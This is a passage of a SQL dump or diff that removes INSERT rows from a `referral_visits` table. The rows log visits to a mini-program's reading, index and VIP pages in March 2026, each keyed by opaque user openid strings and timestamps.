'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:54:58'); -INSERT INTO `referral_visits` VALUES (283, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:54:58'); -INSERT INTO `referral_visits` VALUES (284, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-02 02:55:19'); -INSERT INTO `referral_visits` VALUES (285, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-02 02:55:19'); -INSERT INTO `referral_visits` VALUES (286, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:55:20'); -INSERT INTO `referral_visits` VALUES (287, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:55:21'); -INSERT INTO `referral_visits` VALUES (288, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:55:21'); -INSERT INTO `referral_visits` VALUES (289, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:56:29'); -INSERT INTO `referral_visits` VALUES (290, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 02:58:20'); -INSERT INTO `referral_visits` VALUES (291, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 02:58:20'); -INSERT INTO `referral_visits` VALUES (292, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 03:01:44'); -INSERT INTO `referral_visits` VALUES (293, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 03:01:44'); -INSERT INTO `referral_visits` VALUES (294, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-02 03:59:30'); -INSERT INTO `referral_visits` VALUES (295, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-02 03:59:30'); -INSERT INTO `referral_visits` VALUES (296, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-02 03:59:30'); -INSERT INTO `referral_visits` VALUES (297, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'miniprogram', NULL, '2026-03-02 12:15:27'); -INSERT INTO `referral_visits` VALUES (298, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'miniprogram', NULL, '2026-03-02 12:15:27'); -INSERT INTO `referral_visits` VALUES (299, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'miniprogram', 'pages/read/read', '2026-03-02 12:15:28'); -INSERT INTO `referral_visits` VALUES (300, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-02 23:14:57'); -INSERT INTO `referral_visits` VALUES (301, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-02 23:14:57'); -INSERT INTO `referral_visits` VALUES (302, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-02 23:14:57'); -INSERT INTO `referral_visits` VALUES (303, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/index/index', '2026-03-03 00:19:20'); -INSERT INTO `referral_visits` VALUES (304, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-03 00:19:20'); -INSERT INTO `referral_visits` VALUES (305, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 00:50:54'); -INSERT INTO `referral_visits` VALUES (306, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 00:50:54'); -INSERT INTO `referral_visits` VALUES (307, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 00:50:54'); -INSERT INTO `referral_visits` VALUES (308, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'miniprogram', 'pages/read/read', '2026-03-03 00:52:45'); -INSERT INTO `referral_visits` VALUES (309, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'miniprogram', 'pages/read/read', '2026-03-03 00:52:45'); -INSERT INTO `referral_visits` VALUES (310, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-03 01:15:32'); -INSERT INTO `referral_visits` VALUES (311, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-03 01:15:32'); -INSERT INTO `referral_visits` VALUES (312, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-03 01:15:32'); -INSERT INTO `referral_visits` VALUES (313, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 03:04:21'); -INSERT INTO `referral_visits` VALUES (314, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 03:04:21'); -INSERT INTO `referral_visits` VALUES (315, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 03:04:23'); -INSERT INTO `referral_visits` VALUES (316, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 03:05:26'); -INSERT INTO `referral_visits` VALUES (317, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 03:05:26'); -INSERT INTO `referral_visits` VALUES (318, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 09:40:38'); -INSERT INTO `referral_visits` VALUES (319, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', NULL, '2026-03-03 09:40:38'); -INSERT INTO `referral_visits` VALUES (320, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', NULL, '2026-03-03 09:40:39'); -INSERT INTO `referral_visits` VALUES (321, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 09:40:40'); -INSERT INTO `referral_visits` VALUES (322, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 09:40:40'); -INSERT INTO `referral_visits` VALUES (323, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1768863702720', 'ogpTW5TQ7Pha_7yY9C65gkk8m3gw', 'miniprogram', NULL, '2026-03-03 13:26:33'); -INSERT INTO `referral_visits` VALUES (324, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1768863702720', 'ogpTW5TQ7Pha_7yY9C65gkk8m3gw', 'miniprogram', NULL, '2026-03-03 13:26:33'); -INSERT INTO `referral_visits` VALUES (325, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1768863702720', 'ogpTW5TQ7Pha_7yY9C65gkk8m3gw', 'miniprogram', 'pages/read/read', '2026-03-03 13:26:33'); -INSERT INTO `referral_visits` VALUES (326, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-04 03:10:58'); -INSERT INTO `referral_visits` VALUES (327, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-04 03:10:58'); -INSERT INTO `referral_visits` VALUES (328, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-04 03:11:23'); -INSERT INTO `referral_visits` VALUES (329, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-04 03:11:24'); -INSERT INTO `referral_visits` VALUES (330, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-04 05:49:06'); -INSERT INTO `referral_visits` VALUES (331, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-04 05:49:06'); -INSERT INTO `referral_visits` VALUES (332, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-04 05:49:06'); -INSERT INTO `referral_visits` VALUES (333, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-05 01:26:31'); -INSERT INTO `referral_visits` VALUES (334, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-05 01:26:31'); -INSERT INTO `referral_visits` VALUES (335, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-05 01:26:31'); -INSERT INTO `referral_visits` VALUES (336, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:22:32'); -INSERT INTO `referral_visits` VALUES (337, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:22:32'); -INSERT INTO `referral_visits` VALUES (338, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:22:32'); -INSERT INTO `referral_visits` VALUES (339, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-05 04:22:40'); -INSERT INTO `referral_visits` VALUES (340, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-05 04:22:40'); -INSERT INTO `referral_visits` VALUES (341, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-05 04:22:40'); -INSERT INTO `referral_visits` VALUES (342, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-05 04:24:40'); -INSERT INTO `referral_visits` VALUES (343, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:28:36'); -INSERT INTO `referral_visits` VALUES (344, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:36'); -INSERT INTO `referral_visits` VALUES (345, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-05 04:28:37'); -INSERT INTO `referral_visits` VALUES (346, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:46'); -INSERT INTO `referral_visits` VALUES (347, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:53'); -INSERT INTO `referral_visits` VALUES (348, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:28:59'); -INSERT INTO `referral_visits` VALUES (349, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 04:31:36'); -INSERT INTO `referral_visits` VALUES (350, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/my/my', '2026-03-05 09:34:44'); -INSERT INTO `referral_visits` VALUES (351, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:34:45'); -INSERT INTO `referral_visits` VALUES (352, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:34:45'); -INSERT INTO `referral_visits` VALUES (353, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:33'); -INSERT INTO `referral_visits` VALUES (354, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:38'); -INSERT INTO `referral_visits` VALUES (355, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:35:39'); -INSERT INTO `referral_visits` VALUES (356, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', NULL, '2026-03-05 09:35:39'); -INSERT INTO `referral_visits` VALUES (357, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:45'); -INSERT INTO `referral_visits` VALUES (358, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:35:48'); -INSERT INTO `referral_visits` VALUES (359, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-05 09:35:53'); -INSERT INTO `referral_visits` VALUES (360, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-03-05 09:36:00'); -INSERT INTO `referral_visits` VALUES (361, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:38:38'); -INSERT INTO `referral_visits` VALUES (362, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/vip/vip', '2026-03-05 09:38:42'); -INSERT INTO `referral_visits` VALUES (363, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/index/index', '2026-03-05 10:00:19'); -INSERT INTO `referral_visits` VALUES (364, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:19'); -INSERT INTO `referral_visits` VALUES (365, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/index/index', '2026-03-05 10:00:27'); -INSERT INTO `referral_visits` VALUES (366, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:27'); -INSERT INTO `referral_visits` VALUES (367, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:31'); -INSERT INTO `referral_visits` VALUES (368, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:31'); -INSERT INTO `referral_visits` VALUES (369, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:00:38'); -INSERT INTO `referral_visits` VALUES (370, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:00:38'); -INSERT INTO `referral_visits` VALUES (371, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:39'); -INSERT INTO `referral_visits` VALUES (372, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:54'); -INSERT INTO `referral_visits` VALUES (373, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'miniprogram', 'pages/read/read', '2026-03-05 10:00:54'); -INSERT INTO `referral_visits` VALUES (374, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:01:53'); -INSERT INTO `referral_visits` VALUES (375, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-05 10:01:53'); -INSERT INTO `referral_visits` VALUES (376, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-05 10:01:53'); -INSERT INTO `referral_visits` VALUES (377, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-06 04:39:41'); -INSERT INTO `referral_visits` VALUES (378, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, 'miniprogram', NULL, '2026-03-06 04:39:41'); -INSERT INTO `referral_visits` VALUES (379, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-06 04:44:34'); -INSERT INTO `referral_visits` VALUES (380, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-06 04:44:34'); -INSERT INTO `referral_visits` VALUES (381, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:44:34'); -INSERT INTO `referral_visits` VALUES (382, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:44:45'); -INSERT INTO `referral_visits` VALUES (383, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:49:11'); -INSERT INTO `referral_visits` VALUES (384, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:51:20'); -INSERT INTO `referral_visits` VALUES (385, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:51:26'); -INSERT INTO `referral_visits` VALUES (386, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:51:37'); -INSERT INTO `referral_visits` VALUES (387, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:52:00'); -INSERT INTO `referral_visits` VALUES (388, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/vip/vip', '2026-03-06 04:52:08'); -INSERT INTO `referral_visits` VALUES (389, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:52:08'); -INSERT INTO `referral_visits` VALUES (390, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-06 04:52:14'); -INSERT INTO `referral_visits` VALUES (391, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-06 09:11:59'); -INSERT INTO `referral_visits` VALUES (392, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-06 09:11:59'); -INSERT INTO `referral_visits` VALUES (393, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-06 09:11:59'); -INSERT INTO `referral_visits` VALUES (394, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:06:28'); -INSERT INTO `referral_visits` VALUES (395, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-06 22:06:28'); -INSERT INTO `referral_visits` VALUES (396, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:06:28'); -INSERT INTO `referral_visits` VALUES (397, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:43:03'); -INSERT INTO `referral_visits` VALUES (398, 